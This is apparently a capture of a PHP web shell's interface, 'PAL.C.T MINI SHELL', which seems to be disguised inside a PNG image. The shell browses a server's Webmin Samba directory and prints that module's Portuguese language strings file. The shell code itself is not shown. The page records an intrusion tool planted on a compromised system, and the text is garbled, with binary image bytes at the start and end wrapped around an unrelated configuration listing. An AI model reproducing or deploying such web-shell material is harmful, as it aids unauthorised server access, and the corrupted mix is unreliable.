php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/pt.auto

index_title=Compartilhamento de arquivos do Windows Samba
index_sharelist=lista de compartilhamento
index_userlist=Lista de usuários
index_fileshare=compartilhamento de arquivo
index_printershare=compartilhamento de impressora
index_shareconf=compartilhar configuração
index_version=Versão do Samba $1 
index_samba=Samba

index_sharename=Nome da parte
index_path=Caminho
index_security=Segurança
index_homedir=Todos os diretórios pessoais
index_allprinter=Todas as impressoras
index_printer=Impressora
index_defaultprn=Impressora padrão
index_printableto=Imprimível para
index_prneveryone=Imprimível para todos
index_prnalluser=Imprimível para todos os usuários conhecidos
index_rwpublic=Ler/gravar para todos
index_readonly=Somente leitura para $1 <br> Leitura/gravação para todos os outros usuários conhecidos
index_rwalluser=Leitura/gravação para todos os usuários conhecidos
index_roeveryone=Leia apenas para todos
index_readwrite=Leitura/gravação em $1 <br> Somente leitura para todos os outros usuários conhecidos
index_roalluser=Somente leitura para todos os usuários conhecidos
index_noshares=Nenhum compartilhamento Samba definido
index_createfileshare=Crie um novo compartilhamento de arquivo.
index_createprnshare=Crie um novo compartilhamento de impressora.
index_createcopy=Crie uma nova cópia.
index_view=Veja todas as conexões.
index_start=Iniciar servidores Samba
index_start_wb=Iniciar servidores Winbind
index_startmsg=Os servidores Samba não parecem estar em execução no seu sistema. Isso significa que os compartilhamentos listados acima não estarão acessíveis para outros computadores.
index_startmsg_wb=Os servidores Winbind não parecem estar em execução no seu sistema.
index_restart=Reinicie os servidores Samba
index_restart_wb=Reinicie os servidores Winbind
index_restartmsg=Clique neste botão para reiniciar os servidores Samba em execução no seu sistema. Isso forçará a configuração atual a ser aplicada.
index_restartmsg_wb=Clique neste botão para reiniciar os servidores Winbind em execução no seu sistema.
index_restartmsg2=Isso também desconectará todas as conexões com o servidor; portanto, se você não deseja que a configuração atual seja aplicada imediatamente, aguarde 1 minuto até o Samba recarregar a configuração automaticamente.
index_stop=Interromper servidores Samba
index_stop_wb=Parar servidores Winbind
index_stopmsg=Clique neste botão para desligar os servidores Samba em execução no seu sistema. Todos os usuários conectados no momento serão desconectados à força.
index_stopmsg_wb=Clique neste botão para desligar os servidores Winbind em execução no seu sistema.
index_einclude=Aviso - O arquivo de configuração do Samba $1 contém a diretiva $2 ou $3. Isso pode fazer com que o Webmin modifique o arquivo incorretamente.
index_delete=Excluir compartilhamentos selecionados

config_mins=Mins
config_secs=Segundos
config_bytes=Bytes
config_never=Nunca
config_all=Todos
config_neither=Nem

global_title=Configuração Global
global_unixnetwork=Rede Unix
global_winnetwork=Rede do Windows
global_auth=Autenticação
global_printing=Impressão Windows para Unix
global_misc=Opções diversas
global_filedefault=Padrões de compartilhamento de arquivo
global_prndefault=Padrões de compartilhamento de impressora
global_password=Senhas criptografadas
global_users=Usuários do Samba
global_group=Grupos de Samba
global_bind=Opções do Winbind

error_nosamba=O executável do servidor Samba <tt>$1</tt> não foi encontrado. O Samba não está instalado no seu sistema ou sua <a href="$2">configuração do módulo</a> está incorreta.
error_version=O Webmin falhou ao obter a versão do seu servidor Samba executável <tt>$1</tt>. Verifique sua <a href="$2">configuração do módulo</a> para garantir que este seja o caminho correto.
error_config=O arquivo de configuração $1 não foi encontrado. Provavelmente, o Samba não está instalado no seu sistema ou sua <a href="$2">configuração do módulo</a> está incorreta.
error_include=O Webmin não pode manipular arquivos de configuração do Samba que usam as diretivas <tt>config</tt> ou <tt>include</tt>.
error_delshare=Falha ao excluir o compartilhamento
error_delcopy=O compartilhamento '$1' copia deste compartilhamento
error_savename=Falha ao salvar a nomeação de arquivo

convert_title=Converter usuários
convert_msg=Este formulário permite sincronizar a lista de usuários Unix e Samba. Quando o Samba está usando <a href=$1>senhas criptografadas</a>, uma lista separada de usuários e senhas é usada em vez da lista de usuários do sistema.
convert_noconv=Não converta ou remova esses usuários:
convert_ncdesc=A lista de usuários que não serão convertidos pode conter nomes de usuário, UIDs, nomes de grupos prefixados com <tt>@</tt> ou intervalos de UID como <i>500-1000</i> ou <i>500 -</ i >.
convert_update=Atualize usuários existentes do Samba a partir de seus detalhes do Unix
convert_add=Adicione novos usuários do Samba da lista de usuários do Unix
convert_delete=Excluir usuários do Samba que não existem no Unix
convert_newuser=Para usuários recém-criados, defina a senha para:
convert_nopasswd=Nenhuma senha
convert_lock=Conta bloqueada
convert_passwd=Use esta senha
convert_convert=Converter usuários
convert_cannot=Usuários Unix não podem ser convertidos em usuários Samba
convert_who=Usuários Unix para converter
convert_who0=Somente usuários listados ou intervalos de UID
convert_who1=Todos, exceto usuários listados e intervalos de UID

misc_title=Opções diversas
misc_debug=Nível de depuração
misc_cachecall=Armazenar em cache <tt>getwd ()</tt> chamadas?
misc_lockdir=Diretório de bloqueio
misc_log=Arquivo de log
misc_maxlog=Tamanho máximo do log
misc_rawread=Permitir leituras brutas?
misc_rawwrite=Permitir gravações brutas?
misc_overlapread=Tamanho de leitura sobreposto
misc_chroot=Diretório <tt>chroot ()</tt>
misc_smbrun=Caminho para <tt>smbrun</tt>
misc_clienttime=Deslocamento de tempo do cliente
misc_readprediction=Ler previsão?

net_title=Opções de rede Unix
net_idle=Tempo ocioso antes de desconectar
net_trustlist=Arquivo de hosts/usuários confiáveis
net_netinterface=Interfaces de rede
net_auto=Automático
net_uselist=Usar lista. ..
net_interface=Interface
net_netmask=Máscara de rede
net_keepalive=Pacotes Keepalive
net_notsend=Não envie nenhum
net_every=Envie todos
net_maxpacket=Tamanho máximo do pacote
net_listen=Ouvir no endereço
net_ip=endereço de IP
net_socket=Opções de soquete

passwd_title=Opções de senha
passwd_encrypt=Use senhas criptografadas?
passwd_allownull=Permitir senhas nulas?
passwd_program=Programa de senha
passwd_case=Diferença entre maiúsculas e minúsculas
passwd_sync=Alterar a senha do Unix também?
passwd_chat=Alterar bate-papo com senha
passwd_below=Listado abaixo:
passwd_waitfor=Esperar por
passwd_send=Mandar
passwd_map=Mapeamento de nome de usuário
passwd_unixuser=Usuários Unix
passwd_winuser=Usuários do Windows

print_title=Opções de impressão
print_style=Estilo de impressão Unix
print_show=Mostrar todas as impressoras?
print_printcap=Arquivo Printcap
print_cachetime=Tempo de cache do status da impressora

smb_title=Opções de rede do Windows
smb_workgroup=Grupo de trabalho
smb_wins=Modo WINS
smb_winsserver=Seja servidor WINS
smb_useserver=Usar servidor
smb_description=Descrição do servidor
smb_descriptionnone=Nenhum
smb_name=Nome do servidor
smb_aliase=Aliases do servidor
smb_default=Serviço padrão
smb_show=Sempre mostrar serviços
smb_disksize=Tamanho máximo de disco relatado
smb_unlimited=Ilimitado
smb_winpopup=Comando Winpopup
smb_priority=Prioridade do navegador principal
smb_protocol=Protocolo mais alto
smb_master=Navegador mestre?
smb_master_auto=Automático
smb_security=Segurança
smb_sharelevel=Nível de compartilhamento
smb_userlevel=Nível de usuário
smb_passwdserver=Servidor de senhas
smb_server=Servidor de senhas
smb_domain=Domínio
smb_ads=Diretório ativo
smb_announce=Anúncio remoto para
smb_nowhere=Lugar algum
smb_fromlist=Da lista. ..
smb_ip=Endereço de IP
smb_asworkgroup=<b>Como grupo de trabalho</b> (opcional)

create_title=Criar cópia
create_msg=Um compartilhamento de cópia herdará todos os seus valores padrão do compartilhamento que você escolher. Se o compartilhamento de origem for alterado, a cópia também será alterada.
create_from=Compartilhar para copiar de:
create_name=Novo nome de compartilhamento:

smbuser_title=Usuários do Samba
smbuser_list=Lista de Usuários do Samba
smbuser_nouser=Nenhum usuário do Samba definido.
smbuser_cannot=Usuários do Samba não podem ser listados

euser_title=Editar usuário do Samba
euser_name=Nome do usuário
euser_uid=UID do Unix
euser_passwd=Senha
euser_noaccess=Sem acesso
euser_nopw=Nenhuma senha
euser_currpw=Senha atual
euser_newpw=Nova senha
euser_realname=Nome real
euser_homedir=Diretório inicial
euser_shell=Concha
euser_option=Opções do usuário
euser_normal=Usuário normal
euser_noexpire=A senha nunca expira
euser_locked=A conta está bloqueada
euser_nopwrequired=Nenhuma senha necessária
euser_disable=Conta desativada
euser_trust=Conta confiável da estação de trabalho

fmisc_title=Padrões de arquivo diversos
fmisc_for=Para compartilhar <tt>$1</tt>
fmisc_lockfile=Bloquear arquivos?
fmisc_maxconn=Conexões máximas
fmisc_fake=Bloqueios falsos?
fmisc_oplocks=Ativar oplocks?
fmisc_level2=Oplocks somente leitura?
fmisc_sharemode=Usar modos de compartilhamento?
fmisc_strict=Bloqueio rigoroso?
fmisc_sync=Sincronizar após gravações?
fmisc_volume=Nome do volume
fmisc_sameas=Igual ao compartilhamento
fmisc_unixdos=Mapa de nome de arquivo do Unix-DOS
fmisc_conncmd=Comando para executar na conexão
fmisc_disconncmd=Comando para executar ao desconectar
fmisc_rootconn=Comando para executar ao conectar <i>como root</i>
fmisc_rootdisconn=Comando para executar ao desconectar <i>como root</i>

fname_title1=Padrões de nomeação de arquivos
fname_title2=Editar nomeação de arquivo
fname_option=Opções de nomeação de arquivos
fname_manglecase=Caso Mangle?
fname_case=Maiúsculas e Minúsculas?
fname_defaultcase=Caso padrão?
fname_lower=Mais baixo
fname_upper=Superior
fname_preserve=Preservar caso?
fname_shortpreserve=Caso de Preservação Curta?
fname_hide=Ocultar arquivos de ponto?
fname_archive=Salvar sinalizador de arquivo DOS?
fname_hidden=Salvar sinalizador oculto do DOS?
fname_system=Salvar sinalizador do sistema DOS?

fperm_title1=Padrões de permissões de arquivo
fperm_title2=Editar permissões de arquivo
fperm_option=Opções de permissão de arquivo
fperm_filemode=Novo modo de arquivo Unix
fperm_dirmode=Novo modo de diretório Unix
fperm_notlist=Diretórios para não listar
fperm_forceuser=Forçar usuário Unix
fperm_forcegrp=Forçar grupo Unix
fperm_link=Permitir links simbólicos fora do compartilhamento?
fperm_delro=Pode excluir arquivos somente leitura?
fperm_forcefile=Forçar modo de arquivo Unix
fperm_forcedir=Forçar modo de diretório Unix

share_title1=Padrões de compartilhamento de arquivo
share_title2=Editar compartilhamento de arquivo
share_title3=Criar compartilhamento de arquivo
share_info=Compartilhar informação
share_copy=Este compartilhamento é uma cópia de <i>$1</i>
share_name=Compartilhar nome
share_home=Diretórios Iniciais Compartilhe
share_dir=Diretório para compartilhar
share_create=Criar diretório automaticamente?
share_owner=Criar com o proprietário
share_createperms=Criar com permissões
share_group=Criar com grupo
share_available=Acessível?
share_browseable=Navegável?
share_comment=Compartilhar comentário
share_view=Exibir conexões
share_option=Outras opções de compartilhamento
share_security=Segurança e Controle de Acesso
share_permission=Permissões de arquivo
share_naming=Nomeação de arquivo
share_misc=Opções diversas
share_samedesc1=Nota - essas configurações também afetam os padrões de todos os compartilhamentos de arquivos.
share_samedesc2=Nota - essas configurações também afetam os padrões de todos os compartilhamentos da impressora.

print_title1=Padrões das opções da impressora
print_title2=Editar opções da impressora
print_option=Opções da impressora
print_minspace=Espaço livre mínimo
print_postscript=Forçar impressão postscript
print_command=Comando de impressão
print_queue=Comando de fila de exibição
print_delete=Comando Excluir trabalho
print_pause=Pausar comando do trabalho
print_unresume=Reiniciar comando do trabalho
print_driver=Driver de impressora

pshare_title1=Padrões de compartilhamento de impressora
pshare_title2=Editar compartilhamento de impressora
pshare_title3=Criar compartilhamento de impressora
pshare_info=Compartilhar informação
pshare_name=Compartilhar nome
pshare_all=Todas as impressoras compartilham
pshare_unixprn=Impressora Unix
pshare_spool=Diretório de spool

sec_index1=Padrões de segurança
sec_index2=Editar segurança
sec_writable=Gravável?
sec_guest=Acesso de Convidado?
sec_guestonly=Somente convidado
sec_guestaccount=Usuário convidado Unix
sec_limit=Limitar à lista possível?
sec_allowhost=Hosts para permitir
sec_onlyallow=Permitir apenas
sec_denyhost=Anfitriões a negar
sec_onlydeny=Negar apenas
sec_revalidate=Revalidar usuários?
sec_validuser=Usuários válidos
sec_validgroup=Grupos válidos
sec_invaliduser=Usuários inválidos
sec_invalidgroup=Grupos inválidos
sec_possibleuser=Possíveis usuários
sec_possiblegroup=Grupos possíveis
sec_rouser=Usuários somente leitura
sec_rogroup=Grupos somente leitura
sec_rwuser=Usuários de leitura/gravação
sec_rwgroup=Grupos de leitura/gravação

esync_title=Sincronização de Usuário
esync_msg=O Webmin pode ser configurado para que as alterações na lista de usuários do Unix sejam automaticamente aplicadas à lista de usuários do Samba. Isso funcionará apenas quando o módulo <b>Usuários e grupos</b> Webmin for usado para adicionar, excluir ou alterar usuários.
esync_add=Adicione um usuário Samba quando um usuário Unix for adicionado
esync_chg=Mude o usuário Samba quando um usuário Unix for alterado
esync_del=Exclua o usuário Samba quando um usuário Unix for excluído
esync_del_profile=Excluindo o perfil móvel quando um usuário Unix é excluído
esync_chg_profile=Renomeie o perfil móvel quando um usuário Unix for renomeado
esync_gid=SID ou RID do grupo para novos usuários
esync_apply=Aplique
esync_cannot=A sincronização do usuário não pode ser configurada
esync_egid=SID ou RID do grupo ausente

mkpass_title=Converter usuários
mkpass_convfail=Falha ao converter usuário
mkpass_msg=Convertendo usuários do Unix. ..
mkpass_skip=Ignorado
mkpass_same=Já é o mesmo
mkpass_update=Atualizada
mkpass_added=Adicionado
mkpass_del=Excluído
mkpass_passfail=Falha ao definir a senha
mkpass_user=Nome do usuário
mkpass_action=Medida tomada
mkpass_skipcount=$1 usuários foram ignorados para conversão.

savecopy_fail=Falha ao criar cópia
savecopy_global=O nome 'global' não pode ser usado para um compartilhamento
savecopy_exist=Já existe um compartilhamento chamado '$1'
savecopy_ename=Nenhum nome de compartilhamento digitado

saveuser_fail=Falha ao salvar o usuário
saveuser_uid='$1' não é um UID Unix válido
saveuser_colon=Nome real não pode conter o caractere :
saveuser_home=O diretório inicial '$1' não existe
saveuser_shell=$1 não é um shell válido
saveuser_pass=Falha ao alterar a senha usando smbpasswd : $1 
saveuser_ews=A opção 'Conta confiável da estação de trabalho' não pode ser ativada para usuários existentes

savefmisc_fail=Falha ao salvar opções diversas
savefmisc_number='$1' não é um número válido de conexões

savefperm_fail=Falha ao salvar permissões de arquivo
savefperm_mode='$1' não é um modo de arquivo Unix válido

savefshare_fail=Falha ao salvar o compartilhamento
savefshare_nopath=Nenhum caminho indicado
savefshare_exist=Já existe um compartilhamento chamado '$1'
savefshare_mode='$1' não é um nome de compartilhamento válido
savefshare_global=O nome 'global' não pode ser usado para um compartilhamento
savefshare_owner=Proprietário ausente ou inválido para o novo diretório
savefshare_group=Grupo ausente ou inválido para o novo diretório
savefshare_perms=Permissões ausentes ou inválidas para o novo diretório
savefshare_emkdir=Falha ao criar o diretório : $1 

savemisc_fail=Falha ao salvar opções
savemisc_lockdir=O diretório que contém o diretório de bloqueio não existe
savemisc_logdir=O diretório que contém o arquivo de log não existe
savemisc_logsize='$1' não é um tamanho de log válido
savemisc_overlap='$1' não é um tamanho de leitura sobreposto válido
savemisc_chroot=O diretório chroot '$1' não existe
savemisc_smbrun=O programa smbrun '$1' não existe ou não é executável
savemisc_time='$1' não é um deslocamento válido

savenet_fail=Falha ao salvar opções
savenet_timeout='$1' não é um tempo limite de desconexão válido
savenet_ip='$1' não é um byte IP válido
savenet_keep='$1' não é um intervalo válido de permanência ativa
savenet_maxxmit='$1' não é um tamanho máximo de pacote válido

savepass_fail=Falha ao salvar opções
savepass_nopass=Sua versão do Samba não suporta senhas criptografadas
savepass_passwd=Nenhum programa de alteração de senha fornecido
savepass_level='$1' não é uma diferença de maiúsculas e minúsculas válida para senha
savepass_chat=A sequência de bate-papo de alteração de senha está vazia

savepopts_fail=Falha ao salvar as opções da impressora
savepopts_number=O espaço livre mínimo deve ser um número

saveprint_fail=Falha ao salvar opções
saveprint_printcap=O arquivo printcap '$1' não existe
saveprint_cache='$1' não é um tempo de cache válido

savepshare_fail=Falha ao salvar o compartilhamento da impressora
savepshare_exist=Já existe um compartilhamento chamado '$1'
savepshare_name='$1' não é um nome de compartilhamento válido
savepshare_global=O nome 'global' não pode ser usado para um compartilhamento

savesec_fail=Falha ao salvar a segurança

savesmb_fail=Falha ao salvar opções
savesmb_size='$1' não é um tamanho de disco válido
savesmb_oslevel='$1' não é uma prioridade válida do navegador principal
savesmb_server=Você deve inserir um servidor de senhas

start_err=Falha ao iniciar os servidores Samba
start_fail=$1 falhou
start_err_wb=Falha ao iniciar servidores Winbind

restart_err=Falha ao reiniciar os servidores Samba
restart_err_wb=Falha ao reiniciar os servidores Winbind

swats_fail=Falha ao salvar o nome de usuário
swats_user=Nome de usuário SWAT ausente

viewu_index=Usuários atuais
viewu_list=Usuários atuais de $1 
viewu_share=Compartilhar
viewu_user=Do utilizador
viewu_group=Grupo
viewu_from=Conectado de
viewu_time=Conectado em
viewu_pid=ID do processo
viewu_msg1=Clique no ID do processo da lista acima para desconectar esse usuário.
viewu_msg2=Não há usuários conectados no momento.
viewu_locks=Abrir arquivos
viewu_none=Nenhum
viewu_ecmd=O programa de status do Samba $1 não parece estar instalado no seu sistema. Talvez a <a href='$2'>configuração do módulo</a> esteja incorreta.
viewu_kill=Desconectar usuários selecionados
viewu_enone=Nenhum usuário selecionado
viewu_refresh=Atualizar a página.

log_apply=Servidores Samba reiniciados
log_apply_wb=Servidores Winbind reiniciados
log_stop=Servidores Samba parados
log_stop_wb=Servidores Winbind parados
log_start=Servidores Samba iniciados
log_start_wb=Servidores Winbind iniciados
log_save_fshare=Compartilhamento de arquivo modificado $1 
log_save_pshare=Compartilhamento de impressora modificado $1 
log_save_sec=Segurança e controle de acesso modificados para o compartilhamento $1 
log_save_fperm=Permissões de arquivo modificadas para o compartilhamento $1 
log_save_fname=Nomeação de arquivo modificada para o compartilhamento $1 
log_save_fmisc=Opções diversas modificadas para compartilhar $1 
log_save_popts=Opções de impressora modificadas para compartilhar $1 
log_default_fshare=Padrões de compartilhamento de arquivo alterados
log_default_pshare=Padrões de compartilhamento de impressora alterados
log_kill=Processo desconectado $1 
log_skill=Processo desconectado $1 do compartilhamento $2 
log_kills=$1 processos desconectados
log_skills=$1 processos desconectados do compartilhamento $2 
log_create_fshare=Compartilhamento de arquivos criado $1 
log_create_pshare=Compartilhamento de impressora criado $1 
log_delete_fshare=Compartilhamento de arquivo excluído $1 
log_delete_pshare=Compartilhamento de impressora excluído $1 
log_delete_shares=$1 compartilhamentos excluídos
log_net=Opções de rede Unix alteradas
log_smb=Opções de rede do Windows alteradas
log_pass=Opções de autenticação alteradas
log_print=Opções de impressão do Windows para Unix alteradas
log_misc=Opções diversas alteradas
log_bind=Alterar opções do Winbind
log_sync=Sincronização de usuário Unix configurada
log_epass=Usuários Unix convertidos em usuários Samba
log_epass_l=Usuários do Unix convertidos em usuários do Samba ($1 criado, $2 modificado, $3 excluído)
log_copy=Partilha copiada $2 a $1 
log_save_euser=Usuário Samba modificado $1 
log_delete_euser=Usuário do Samba excluído $1 
log_create_group=Grupo de samba criado $1 
log_modify_group=Grupo Samba modificado $1 
log_delete_group=Grupo de samba excluído $1 
log_gsync=Sincronização de grupo Unix configurada
log_manual=Arquivo de configuração editado manualmente $1 

swat_title=Login SWAT
swat_list=Login SWAT
swat_msg1=Seu nome de usuário e senha SWAT atuais estão incorretos. Use o formulário abaixo para fazer login novamente.
swat_msg2=É necessário um nome de usuário e senha para fazer login no SWAT. Normalmente, pode ser qualquer usuário no seu sistema.
swat_msg3=Você não pode executar o SWAT através do Webmin, pois sua configuração do Samba tem a opção <tt>$1 :...</tt> (permitir hosts) definida.
swat_msg4=No entanto, você pode se conectar ao SWAT diretamente em $1 
swat_username=Nome do usuário
swat_password=Senha
swat_login=Conecte-se
swat_clear=Claro
swat_logout=Sair do SWAT

eacl_aviol=Violação de controle de acesso
eacl_np=Você não tem permissão para
eacl_papply=reinicie este serviço
eacl_pcn=editar opções de rede unix
eacl_pcs=editar opções de rede smb
eacl_pcp=editar opções de senha
eacl_pcprint=editar opções de impressão
eacl_pcm=editar opções diversas
eacl_pcswat=use SWAT
eacl_pcopy=copiar compartilhamentos
eacl_pconn_all=ver todas as conexões
eacl_pconn=ver conexões para este compartilhamento
eacl_pgkill=matar conexões
eacl_pkill=mate esta conexão
eacl_pus=atualizar compartilhamento
eacl_pcrs=criar compartilhamento
eacl_pds=excluir compartilhamento
eacl_pusec=atualizar opções de segurança e controle de acesso para esse compartilhamento
eacl_pufperm=atualizar opções de permissão de arquivo para este compartilhamento
eacl_pufname=atualizar opções de nomeação de arquivos para este compartilhamento
eacl_pufmisc=atualizar diversos. opções para este compartilhamento
eacl_pupopt=atualizar as opções da impressora para esse compartilhamento
eacl_pmpass=inicializar banco de dados de usuários do Samba
eacl_pmsync=manter a sincronização de usuários do Unix-Samba
eacl_pmusers=manter usuários do Samba
eacl_pvusers=acessar usuários do Samba
eacl_pvfmisc=acessar diversos. opções para este compartilhamento
eacl_pvfname=acessar opções de nomeação de arquivos para este compartilhamento
eacl_pvperm=acessar opções de permissão de arquivo para este compartilhamento
eacl_pvsec=acessar opções de segurança e controle de acesso para esse compartilhamento
eacl_pvpopt=acesse as opções da impressora para esse compartilhamento
eacl_pafs=acessar este compartilhamento de arquivo
eacl_paps=acessar este compartilhamento de impressora
eacl_pcps=criar compartilhamento de impressora
eacl_pcfs=criar compartilhamento de arquivo

acl_apply=Pode aplicar alterações e interromper o Samba?
acl_view_all_con=Pode visualizar todas as conexões?
acl_kill_con=Pode remover conexões?
acl_conf_net=Pode configurar opções de rede Unix?
acl_conf_smb=Pode configurar as opções de rede do Windows?
acl_conf_pass=Pode configurar opções de autenticação?
acl_conf_print=Pode configurar as opções da impressora?
acl_conf_misc=Pode configurar o misc. opções?
acl_swat=Pode usar o SWAT?
acl_manual=Pode editar manualmente o arquivo de configuração?
acl_enc_passwd_opts=Opções de senha criptografada
acl_view_users=Pode visualizar o banco de dados de usuários do Samba?
acl_maint_users=Pode editar usuários do Samba?
acl_maint_makepass=Pode converter usuários Unix em usuários Samba?
acl_maint_sync=Pode manter a sincronização automática de usuários Unix para Samba?
acl_hide=Ocultar objetos inacessíveis?
acl_c=crio
acl_r=ler
acl_w=escrever
acl_afs=Acessar compartilhamentos de arquivos
acl_aps=Acessar compartilhamentos de impressão
acl_copy=Pode copiar compartilhamentos?
acl_per_fs_acls=Ativar acls por compartilhamento de arquivo?
acl_per_ps_acls=Ativar acls por compartilhamento de impressão?
acl_per_share_acls=ACLs por compartilhamento. ..
acl_ernow=Se você deseja ativar o acesso de gravação em ACLs globais para algum tipo de objeto, também deve ativar o acesso de leitura para esse tipo de objeto.
acl_sname=Compartilhar nome
acl_saccess=Partilha de acesso
acl_sconn=Conexões
acl_sopthdr=Opções de compartilhamento
acl_ssec=segurança
acl_sperm=permissões
acl_snaming=nomeação de arquivo
acl_smisc=Diversos
acl_sprn=ou impressora
acl_na=n/D
acl_r1=somente leitura
acl_rw=ler escrever
acl_view=Visão
acl_kill=mate
acl_edit=editar
acl_group_opts=Opções do grupo Samba
acl_maint_groups=Pode visualizar, editar e adicionar grupos?
acl_maint_gsync=Pode manter a sincronização automática de grupos Unix para Samba?
acl_winbind=Pode se vincular a domínios?
acl_bind=Pode acessar as opções do winbind?

groups_title=Grupos de Samba
groups_name=Nome do grupo
groups_unix=Grupo Unix
groups_nounix=Nenhum
groups_type=Tipo
groups_type_d=Grupo de domínio
groups_type_b=NT embutido
groups_type_l=Grupo local
groups_type_u=Desconhecido
groups_sid=SID
groups_none=Nenhum grupo de samba foi definido ainda.
groups_return=lista de grupos
groups_add=Adicione um novo grupo Samba.
groups_ecannot=Você não tem permissão para visualizar ou editar grupos do Samba
groups_cannot=Grupos de samba não podem ser listados

gedit_title2=Editar grupo Samba
gedit_title1=Criar grupo Samba
gedit_header=Detalhes do grupo Samba
gedit_name=Nome do grupo
gedit_type=Tipo de grupo
gedit_sid=SID do grupo
gedit_desc=Descrição
gedit_priv=Privilégios
gedit_unix=Grupo Unix
gedit_unixgr=Grupo ..
gedit_none=Nenhum
gedit_set=Listado ..

gsave_err=Falha ao salvar o grupo
gsave_eunix=Nome do grupo Unix ou GID ausente ou inválido
gsave_ename=Nome do grupo ausente
gsave_epriv=Privilégios de grupo ausentes
gsave_elocal=Privilégios podem ser definidos apenas para grupos locais

gsync_title=Sincronização de grupo
gsync_msg=O Webmin pode ser configurado para que as alterações na lista de grupos do Unix sejam automaticamente aplicadas à lista de grupos do Samba. Isso funcionará apenas quando o módulo <b>Usuários e grupos</b> Webmin for usado para adicionar, excluir ou alterar grupos.
gsync_add=Adicione um grupo Samba quando um grupo Unix for adicionado
gsync_chg=Mude o grupo Samba quando um grupo Unix for alterado
gsync_del=Exclua o grupo Samba quando um grupo Unix for excluído
gsync_apply=Aplique
gsync_type=Tipo de novos grupos
gsync_priv=Privilégios para novos grupos (se local)
gsync_ecannot=Você não tem permissão para configurar a sincronização de grupo
gsync_cannot=A sincronização de grupo não pode ser configurada

check_user1=$1 : senhas criptografadas não estão ativadas na página <a href='$2'>Autenticação</a>.
check_user2=$1 : nem o arquivo de senha do Samba nem o caminho para o pdbedit estão definidos na página <a href='$2'>Configuração do módulo</a>.
check_group1=$1 : Grupos são suportados apenas no Samba versão 3.
check_group2=$1 : nem o caminho para os comandos smbgroupedit ou net está definido na página <a href='$2'>Configuração do módulo</a>.

winbind_title=Vincular ao domínio
winbind_ecannot=Você não tem permissão para vincular a domínios
winbind_msg=Este formulário pode ser usado para vincular seu servidor Samba a um domínio do Windows, geralmente gerenciado por um servidor diferente.
winbind_header=Vincular a um domínio do Windows
winbind_user=Vincular como usuário
winbind_dom=Vincular ao domínio
winbind_save=Vincular agora
winbind_default=Domínio da configuração do Samba
winbind_pass=Senha do usuário
winbind_err=Falha ao vincular ao domínio
winbind_euser=Nome de usuário ausente
winbind_edom=Nome de domínio ausente
winbind_cmd=Vinculação ao domínio com o comando $1 ..
winbind_failed=.. falhou! Veja a saída acima para o motivo.
winbind_ok=.. completo.

bind_title=Opções do Winbind
bind_ecannot=Você não tem permissão para editar opções do winbind
bind_header=Opções de associação de domínio do Windows
bind_local=Habilitar o Winbind para contas locais?
bind_trust=Confiar em usuários do servidor de domínio?
bind_users=Proibir listagem de usuários?
bind_groups=Proibir listagem de grupos?
bind_defaultdomain=Sempre usar domínio padrão?
bind_realm=Região Kerberos no servidor de domínio
bind_cache=Segundos para armazenar em cache os detalhes do usuário
bind_uid=Gama de UIDs para usuários do Windows
bind_gid=Gama de GIDs para grupos do Windows
bind_backend=Back-end LDAP para mapeamento de contas
bind_err=Falha ao salvar as opções do Winbind
bind_erealm=Região Kerberos inválida
bind_ecache=Tempo de cache ausente ou inválido
bind_euid=Intervalo de UID inválido - deve ser como 20000-30000
bind_egid=Intervalo GID inválido - deve ser como 20000-30000

manual_title=Editar arquivo de configuração
manual_desc=Editando o arquivo de configuração do Samba $1 ..
manual_err=Falha ao salvar o arquivo de configuração
manual_edata=Nada entrou!

delete_err=Falha ao excluir compartilhamentos
delete_enone=Nenhum selecionado
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`